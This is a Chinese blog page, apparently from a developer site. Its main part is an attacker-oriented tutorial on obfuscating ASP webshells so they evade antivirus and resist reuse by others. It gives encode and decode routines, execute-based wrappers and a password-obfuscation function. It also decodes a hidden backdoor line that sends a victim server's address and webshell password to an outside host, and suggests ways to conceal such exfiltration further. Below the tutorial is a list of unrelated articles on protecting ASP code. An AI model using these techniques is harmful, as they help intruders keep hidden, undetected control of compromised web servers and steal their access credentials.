ASP加密

支付对接常用:关于asp rsa加密         asp 算是老编程语言了吧,不支持RSA加密ASP RSA类库基本上也很少见,好些支付平台也不提供asp支付demo,一方面是没有开源的ASP RSA加密类库,一方面是这种语言太古老了有些新特性不支持。        但是有时候网站就是ASP语言开发的,不得不接入,常用的对接方式,就用asp.net或者php语言作为跳板,好些支付平台也是这样子实现的,提供asp支付demo,让的... 阅读详情
 

大家在入侵中应该是捡到过别人的Webshell吧?也许有的大马功能很好,于是你就用了,但是你没想过该马可能有后门?现在很多的大马都加密了,打开时候一片乱码,是不是也想加密自己的大马了,加密后的Webshell不仅可以防止别人捡我们的Shell用,还能免杀webshell。ASP木马加密不难,让我们一起踏上大马加密之旅。

  一:人工加密

  1.主加密函数的编写

  1)主解密与解密函数

  对大马的加密关键是编写我们的加密函数,然后写出相应的解密函数。我这里先得对几个ASP自带函数有个了解

  CHR:将ASCII 字码转换成字符

  REPLACE:将一个字符串取代 部份字。

  ASC:将字符串的第一字母转换成 ANSI (美国国家标准符号)字码。

  Len:取得字符串的长度。

  然后对IF语句和一些VBS函数相关知识有个了解。大家有不懂可以查看Windows脚本技术,里面比较详细。

  我们先看下一个最常用的解密函数吧。

dim ShiSan,ShiSanNewstr,ShiSanI
Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, "╁", """")
For ShiSanI = 1 To Len(ShiSanObjstr)
If Mid(ShiSanObjstr, ShiSanI, 1) <> "╋" Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr
Else
ShiSanNewStr = vbCrLf & ShiSanNewStr
End If
Next
ShiSanFun = ShiSanNewStr
End Function

  这个解密函数就是将加密后的代码解密。他先将解密代码(Str)中的╁换为引号("),得到Str1,然后通过FOR循环,将加密部分(Str1)逐个取出,将取出的字符倒叙连接成一个新字符,并将╋换为vbcrlf(换行符)。这个加密函数应用的相当广泛,就连华夏免杀Webshell也用了这个函数

  好了。知道加密的原理后我们就可以编写自己的加密函数了。ASP的加密函数只需要将上面的部分稍微改下,但是需要可以执行的环境(本地IIS或上传到服务器)。这里我给出了JS+HTML写的加密网页

  ---------->JS+HTML加密:

<html>
<script script="JavaScript">
function enCode(theText)
{
output=new String;
TextSize=theText.length;
for (i = 0; i < TextSize; i++)
{
   if(theText.charCodeAt(i)=="13")
   {
   output="鹏"+output;
   }
   else if(theText.charCodeAt(i)=="10")
   {
   output+="";
   }
   else
   {
   output=theText.charAt(i)+output;
   }
}
return output
}
</script>
<form name=encform onsubmit="return false;" />
<textarea name=box1 rows=16 cols=120></textarea>
<br />
<input type=button value="加密到下面文本框" onClick="this.form.box2.value=enCode(this.form.box1.value);" /><br />
<textarea name=box2 rows=16 cols=120></textarea>
</form>
</form>
</html>

保存为html格式然后用IE打开,将需要加密的部分填写上,然后点击按钮"加密到下面文本框" ,就可以得到加密后的字符串了。

  上面的加密函数是enCode,他的作用是将ASP代码(Code)中的换行换为鹏,得到Code1,然后将Code1倒序(13和10分别是回车和换行的编码)。比如:

  Sub RRS(str)

  response.write(str)

  End Sub

  加密后就为

  buS dnE鹏)rts(etirw.esnopser 鹏)rts(SRR buS

  写了加密函数后就要写出对于的解密函数,必须用ASP编写

dim psEncode,psStr,psI
Function unCode(psEncode)
For psI=1 To Len(psEncode)
If Mid(psEncode,psI,1)<>"鹏" Then
psNewStr=Mid(psEncode,psI,1)&psNewStr
Else
psNewStr=vbCrlf&psNewStr
End If
Next
unCode=psNewStr
End Function

  这样我们就可以将ASP中的RRS函数用

  execute(unCode("buS dnE鹏)rts(etirw.esnopser 鹏)rts(SRR buS"))

  代替掉

  Sub RRS(str)

  response.write(str)

  End Sub

  我们可以利用这个加密函数加密多处,这样多加密一般可以免杀大马

  (2)加密解密函数

  直接调用解密函数,很容易使自己的解密函数泄露,我们可以利用一个函数来加密我们的加密函数,这样就难找一点了,这主要是为了保护我们的马,对于上面我们的解密函数,我们可以再写一个加密函数,然后调用execute来,这样就可以隐藏我们的解密函数了。这样我们解密函数的源代码就不会明文出现在webshell里了

  (3)嵌套加密

  我们可以在主加密函数里面嵌套次加密函数,不过这样我们需要对应的写出多个解密函数,这样加密比较侧地,小破孩就马就是采用这种加密方法。由于方法相同,我就不多啰嗦了,大家有兴趣可以自己去研究下幽月或小破孩的,我这里有源码,想要的可以到我博客(hi.baidu.com/novaa)

  2.密码的加密

  大家是否遇见过webshell的密码是很长的数字,20多位或30多位。这就是对密码加密了的,通过对密码加密,可以防止别人通过查看我们的源代码得到我们的密码,除非他完全解密了我们的webshell,否则我们大马就是安全的。这里看一个对密码加密的函数。

Function enPass(psStr,Pos)
Dim i,psNewStr
For i = 1 To Len(psStr)
psNewStr= psNewStr& Asc(Mid(psStr, i, 1))+Pos & (20080808-Pos)
Next
enPass =psNewStr
End Function

  

  上面的这个加密函数是对每一位密码的数字取ascii码,然后加上Pos & (20080808-Pos)&i,这里注意&是连接字符,比如n&ov&aa结果是novaa

  然后我们把解密后的部分定义为UserPass

  然后在验证的地方通过

  enPass(request.form("pass"),pn)=UserPass 来进行身份验证,当然,通过修改密码的验证方式可以轻松的修改密码,但是前提是你已经完全解密了这个webshell了。

  3.后门的隐藏技术

  怎么隐藏后门?其实主要就利用ASP的自带函数和一些其他技巧,这里我以破小孩后门来解释

RRS"<DIV style=""CURSOR:url('http://"&chr(37)&"77"&chr(37)&"2E%31"&chr(39-pos)&""&(4+pos)&"c%6c"&chr(37)&"34%2E"&chr(37)&"63%6f"&chr(37)&"6d/%"&(36+pos)&"%2f?%75="&Serveru&"&%70="&UserPass&"')"">"
这个和幽月的后门隐藏技术差不多,都是利用了ASCII编码和HTML编码,CHR(37)是"/",我们把它还原就是
http://w.1ll4.com/8/?u="&Serveru&"&p="&UserPass&"
这里我们可以做的更隐蔽些。

  1.我们查找后门的时候一般是利用查找有UserPass的地方,因此,我们可以利用enPass(request.form("pass"),pn)赋值给另一个变量canyou,然后把&p="&UserPass&"换为&p="&canyou&"

  2.我们可以利用webshell里面自带的常量来代替http,以为http也是经常用来找后门的地方,比如Sot(13,0) = "Microsoft.XMLHTTP"这里就有HTTP,我们利用Right函数来取得Sot(13,0) 右边的4个字符,然后代替后门中的HTTP

  二:工具加密

  利用微软的脚本加密工具screnc.exe对我们初步加密的webshell进行再次的加密,这样我们的webshell就完全成了一堆乱码了

  有了上面的加密知识,相信大家很快可以掌握ASP的解密,方法都是一样的,然后大家就可以玩玩除后门了

掌握ASP网页加密解密技术 目前,ASP网页加密技术主要有服务器端加密和客户端加密两种。服务器端加密又细分为代码混淆、加密算法实现等方法。客户端加密主要依赖于JavaScript、CSS等技术对页面进行动态加密,以此达到保护网页数据的目的。 阅读详情

相关推荐

ASP混天绫(ASP混淆加密工具)

ASP混天绫是一款完全免费的ASP混淆加密工具,也是国内第一款ASP混淆器,通过混淆代码来实现保护知识产权的目的,变量和方法名字混淆之后无法还原。混淆之后的代码难以阅读,也难以修改。虽然保护强度不如封装DLL,但是比封装DLL方便的多,混淆之后可以运行在虚拟主机,无需注册任何组件。 目前的版本可以混淆变量名字,常量名字,方法名字,类名子,类方法名字,数字,字符串等。

ASP 、PHP 代码加密的安全性逻辑思考

最终逻辑就是,你用卖给客户一个产品,但是因为启动钥匙(加密解密密钥)已插在产品上,,启动钥匙是加密解密密钥(产品外壳可用解密密钥来打开),所以客户无法看懂钥匙(无法解出解密密钥),产品能正常使用,所以客户打不开你也不希望客户能打开产品窥探其中的玄机,这时候,客户是基本无法打开产品外壳的。可见,最终需要保密的不是什么编码表,也不是密钥,而是编码过程程序,因为其中有自定义易位编码函数等,只要不知道加密原文,那么在没有编码程序的情况下,光凭密文是没办法解密的,即使你有编码表和密钥也不行。

业余编程 556

Asp代码加密工具AspApp专业版3.1

目前最实用的ASP加密工具。可以将IIS + ASP(Active Server Page)实现的网站进行加密加密后的应用仍然可以在IIS下使用,但是他人已经无法直接阅读ASP脚本内容,彻底保护您的辛苦劳动成果和知识产权。您可以用来制作WEB系统的试用版本、功能限制版本和发行版本等。使用AspApp,您可以向您的网站客户发放注册码,您可以限制访问您的ASP系统的IP地址的个数。使用AspApp,您就可以创建自己的Web应用程序,并以共享软件或者试用软件的方式发布它们了!<br> 企业版在易用性和稳定性上比专业版和标准版有了很大的提高。未注册版对被加密ASP文件长度不再做出任何限制。直接支持Windows2003和PWS。<br> 最新推出了带加密狗的AspApp。使用它,您还可以向您的客户发放硬件加密狗,相比于注册码方式,它能更好地保护您的网站产品的知识产权。

ASP代码加密方法

通过将ASP代码转换成其他形式,比如VB6工程,然后编译成DLL,利用VB6编译后不可反编译的特性,提供较高的加密安全性。加密ASP代码的目的是为了保护知识产权,防止未授权的访问和修改。:同样是一款编译型加密工具,它将ASP代码转换成VB6工程,然后编译成不可反编译的DLL,提供高安全性的加密。:这是一款编译型的ASP代码加密工具,能够将ASP代码转换成DLL,并且不可被还原,从而保护知识产权。:微软提供了一个脚本编码器,可以对ASP程序进行加密,将网页中的ASP代码转换成不可读的乱码。

云加速 409

使用ASP加密算法加密你的数据

使用ASP加密算法加密你的数据(一)简介首先简单介绍一下有关加密的背景。由于美国禁止几种密码算法的对外出口的加密位数(例如SSL的40位加密限制),本文将介绍一种ASP可以使用的简单字符加密算法,而不是那些受限制的加密算法。其实,这里介绍的加密算法对于一般的运用来说已经足够解密人麻烦一阵子的了。它的加密基础是最简单的Vernum密码方法,我将在下一篇文章中介绍这种密码。它的基本原理是,需要有一

baikaishui_0825的专栏 1532

如何给自己的网站加密

不要以为只有javascript可以加密,使用IIS也可实现加密,只要你电脑上安装的Web服务器是IIS,而你又是管理员权限的用户时,就可以用一种简单的方法来实现密码验证。

程序猿老白~的博客 3183

网站安全之ASP程序加密解密方法全面解析

  如今,用ASP技术构建的网站随处可见。由于ASP脚本是在服务器上解释执行的(无法编译),因此你辛苦开发出来的ASP代码,很容易被人拷去任意修改,如何保护ASP源代码呢?这是每个ASP站长都会遇到的难题,网上求解这类问题的帖子非常多,下面我们就来谈谈ASP程序的加密方法。   一、如何加密ASP程序?   目前对ASP程序的加密方法主要有三种:脚本编码器(SRCENC.EXE)加密、组件加密...

weixin_33889665的博客 340

asp加密

一直以来,ASP技术受到了越来越多朋友的喜爱,使用ASP从事WEB开发的人也越来越多。ASP一个非常明显的特征是页面在服务器端经过处理之后发送到浏览器中的内容为标准的HTML格式,这样有效的保护了页面程序的原代码不被客户端轻易获取.   Vernum密码方法   它的基本原理是,需要有一个需要加密的明文和一个随机生成的解密钥匙文件。然后使用这两个文件组合起来生成密文。   下面的代码就

ymuyou有木有博客 3008

ASP代码加密_ASP加密代码

ASP代码一般是明文,很少有加密的,MS有个工具Script Encoder可以加密,这个东东可以微软官方网站免费下载,而且还有详细使用说明,但是经过它加密后的文件会有<%@ language = vbscript.encode %>,管理员看到这句话就知道这个asp文件被加密了。而且也有相关的解密文件。 本文提供一种简单的方法,可以加密ASP代码,主要思路是将代码做些运算,比如将全部代码移动一位,基本上就算加密了,主要的加解密函数如下: function UnEncode(temp) b.

博客园 1236

paip.ASP加密新总结

paip.ASP加密新总结 1.将核心部分分离出来,通过webservice访问,不放在客户端。 2.调用COM组件 3.命令行调用其它二进制编译型代码 4.自己加密 脚本加密原理,工作原理   Set obj = Server.CreateObject("AspDeCode.DeCode")  obj.AddCode "aXB0Pg0KPCUNCglyZXNwb25zZS5lb

attilax的专栏 2703

ASP页面进行加密

 为有效地防止ASP源代码泄露,可以对ASP页面进行加密。一般有两种方法对ASP页面进行加密。一种是使用组件技术将编程逻辑封装入DLL之中;另一种是使用微软的Script Encoder对ASP页面进行加密。笔者认为,使用组件技术存在的主要问题是每段代码均需组件化,操作比较烦琐,工作量较大;而使用Script Encoder对ASP页面进行加密,操作简单、收效良好。Script Encoder方法

流男@水孩 1924

超强免杀ASP大马.asp

超强免杀ASP大马.asp

asp加密解密函数decrypt

asp加密解密函数decrypt

Asp 加密解密

Asp 加密解密 Asp 加密解密 Asp 加密解密 Asp 加密解密

ASP代码加密

ASP代码一般是明文,很少有加密的,MS有个工具Script Encoder可以加密,这个东东可以微软官方网站免费下载,而且还有详细使用说明,但是经过它加密后的文件会有&lt;%@ language = vbscript.encode %&gt;,管理员看到这句话就知道这个asp文件被加密了。而且也有相关的解密文件。 本文提供一种简单的方法,可以加密ASP代码,主要思路是将代码做些运算,比如将全部...

qq510599105的博客 407

ASP中实现RsA加密解密

本文章有两文件组成test.asp 测试演示文件clsrsa.asp 实现rsa加密解密的vbs类文件下面是代码: 1. test.asprem 文章标题:在asp中通过vbs类实现rsa加密解密rem 收集整理:yanekrem 联系:aspboy@263.net%>Dim LngKeyEDim LngKeyDDim LngKeyNDim StrMessageDim Ob

无轩居 (Home of vip) 4553

asp sha1加密

<% 'string1=jsapi_ticket=sM4AOVdWfPE4DxkXGEs8VMCPGGVi4C3VM0P37wVUCFvkVAy_90u5h9nbSlYy3-Sl-HhTdfl2fzFy1AOcHKP7qg&noncestr=Wm3WZYTPz0wzccnW&timestamp=1414587457&url=http://mp.w...

橙-极纪元-JJYCheng 1168

ASP程序加密解密方法全面解析

ASP程序加密解密方法全面解析 2007年02月15日 星期四 01:18 目前对ASP程序的加密方法主要有三种:脚本编码器(SRCENC.EXE)加密、组件加密、自编程序加密,下面我们就来展开介绍这三种加密方法……   如今,用ASP技术构建的网站随处可见。由于ASP脚本是在...

weixin_33755847的博客 227
上一篇: 新的VBS下载方法
下一篇: 关于AJAX注入
iiprogram
博客等级 码龄25年 1066粉丝 1515原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值